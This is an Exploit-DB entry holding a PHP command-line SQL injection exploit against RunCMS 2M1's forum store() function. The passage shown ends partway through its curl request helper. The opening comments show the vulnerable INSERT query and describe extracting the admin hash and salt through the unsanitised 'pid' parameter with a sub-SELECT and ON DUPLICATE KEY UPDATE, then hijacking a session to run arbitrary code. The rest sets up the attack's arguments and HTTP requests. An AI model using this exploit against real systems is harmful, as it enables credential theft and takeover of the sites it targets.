Exploit-DB #9964
Description: RunCMS 2m1 - 'store()' SQL Injection
Type: webapps
Platform: php
Date: 2009-10-26
Author: bookoo

Exploit:
<?php
    /*
    RunCms v.2M1 store() - 'pid' remote SQL Injection Exploit
    by Nine:Situations:Group::bookoo
    site: http://retrogod.altervista.org/
     
    software site: http://www.runcms.org/
     
    Function store() in /modules/forum/class/class.forumposts.php is vulnerable, see lines 412-433:
     
    ...
    $sql = "
    INSERT INTO ".$bbTable['posts']." SET
    post_id=".$this->post_id.",
    pid=".$this->pid.",
    topic_id=".$this->topic_id.",
    forum_id=".$this->forum_id.",
    post_time=$datetime,
    uid=".$this->uid.",
    poster_ip='".$this->poster_ip."',
    subject='".$subject."',
    post_text='".$post_text."',
    allow_html=".intval($this->allow_html).",
    allow_smileys=".intval($this->allow_smileys).",
    allow_bbcode=".intval($this->allow_bbcode).",
    type='".$this->type."',
    icon='".$this->icon."',
    has_attachment=".intval($this->has_attachment).",
    is_approved=".intval($this->is_approved).",
    anon_uname='".$this->anon_uname."',
    attachsig=".$this->attachsig."";
     
    if ( !$result = $db->query($sql) ) {
    ...
     
    this function is called by /modules/forum/post.php near lines 153-158:
     
    ...
    $postid = $forumpost->store();
     
    if ($isreply == 1) {
    $sql = "SELECT t.topic_notify, u.email, u.uname, u.uid FROM ".$bbTable['topics']." t, ".$db->prefix("users")." u WHERE t.topic_id = ".$_POST['topic_id']." AND t.topic_poster = u.uid";
    ...
     
    see? The next query is also vulnerable in $_POST['topic_id'] argument... but I choose
    the store() one because is an INSERT.
     
    $this->pid is set in /modules/forum/post.php at lines 94-96:
    ...
    if (isset($_POST['pid']) && $_POST['pid'] != "") {
    $forumpost->setParent($_POST['pid']);
    }
    ...
     
    No prior sanitization!
     
    You can use a sub-SELECT to save the admin hash and salt in forum posts.
    Even if posts are in moderation, the subject field is visible in user profiles.
    You cannot break the query by '--' or '/*' but you can use the
    'ON DUPLICATE KEY UPDATE' clause to build a working one.
     
    This whole thing works regardless of magic_quotes_gpc and with MySQL >= 4.1.
    You need a valid user account (register!) and the permission to post in a certain forum.
    Once you obtained the admin hash and salt you can hijack an active session
    and execute arbitrary code, see: http://retrogod.altervista.org/9sg_runcms_forum_sql.html
     
    */
     
    $err[0] = "[!] This script is intended to be launched from the cli!";
    $err[1] = "[!] You need the curl extesion loaded!";
     
    function my_header() {
        print ("\x52\x75\x6e\x43\x6d\x73\x20\x76\x2e\x32\x4d\x31\x20\x73\x74\x6f\x72\x65\x28\x29\x20\x2d\x20\x27\x70\x69\x64\x27\x20\x72\x65\x6d\x6f\x74\x65\x20\x53\x51\x4c\x20\x49\x6e\x6a\x65\x63\x74\x69\x6f\x6e\x20\x45\x78\x70\x6c\x6f\x69\x74\x20\xd\xa\x20\x20\x20\x20\x62\x79\x20\x4e\x69\x6e\x65\x3a\x53\x69\x74\x75\x61\x74\x69\x6f\x6e\x73\x3a\x47\x72\x6f\x75\x70\x3a\x3a\x62\x6f\x6f\x6b\x6f\x6f\xd\xa\x20\x20\x20\x20\x73\x69\x74\x65\x3a\x20\x68\x74\x74\x70\x3a\x2f\x2f\x72\x65\x74\x72\x6f\x67\x6f\x64\x2e\x61\x6c\x74\x65\x72\x76\x69\x73\x74\x61\x2e\x6f\x72\x67\x2f\xd\xa");
    }
     
    my_header();
     
    if (php_sapi_name() <> "cli") {
        die($err[0]);
    }
    if (!extension_loaded('curl')) {
        $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true :
        false;
        if ($win) {
            !dl("php_curl.dll") ? die($err[1]) :
             print("[*] curl loaded\n");
        } else {
            !dl("php_curl.so") ? die($err[1]) :
             print("[*] curl loaded\n");
        }
    }
     
    function syntax() {
        print (
        "Syntax: php ".$argv[0]." [host] [path] [user] [pass] [forum] [OPTIONS] \n". "Options:                                                                    \n". "--port:[port]         - specify a port                                      \n". "                        default->80                                         \n". "--prefix              - try to extract table prefix from information.schema \n". "                        default->runcms                                     \n". "--proxy:[host:port]   - use proxy                                           \n". "--skiptest            - skip preliminary tests                              \n". "--test                - run only tests                                      \n". "Examples:   php ".$argv[0]." 192.168.0.1 /runcms/ bookoo pass 1              \n". "            php ".$argv[0]." 192.168.0.1 / bookoo pass 1 --prefix --proxy:1.1.1.1:8080   \n");
        die();
    }
     
    error_reporting(E_ALL ^ E_NOTICE);
    $host = $argv[1];
    $path = $argv[2];
    $_user = $argv[3];
    $_pass = $argv[4];
    $_forum = (int)$argv[5];
     
    $prefix = "runcms";
     
     
    $argv[5] ? print("[*] Attacking...\n") :
    syntax();
     
    $_f_prefix = false;
    $_use_proxy = false;
    $port = 80;
    $_skiptest = false;
    $_test = false;
     
    for ($i = 3; $i < $argc; $i++) {
        if (stristr($argv[$i], "--prefix")) {
            $_f_prefix = true;
        }
        if (stristr($argv[$i], "--proxy:")) {
            $_use_proxy = true;
            $tmp = explode(":", $argv[$i]);
            $proxy_host = $tmp[1];
            $proxy_port = (int)$tmp[2];
        }
        if (stristr($argv[$i], "--port:")) {
            $tmp = explode(":", $argv[$i]);
            $port = (int)$tmp[1];
        }
        if (stristr($argv[$i], "--skiptest")) {
            $_skiptest = true;
        }
        if (stristr($argv[$i], "--test")) {
            $_test = true;
        }
         
    }
     
    function _s($url, $is_post, $ck, $request) {
        global $_use_proxy, $proxy_host, $proxy_port;
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_U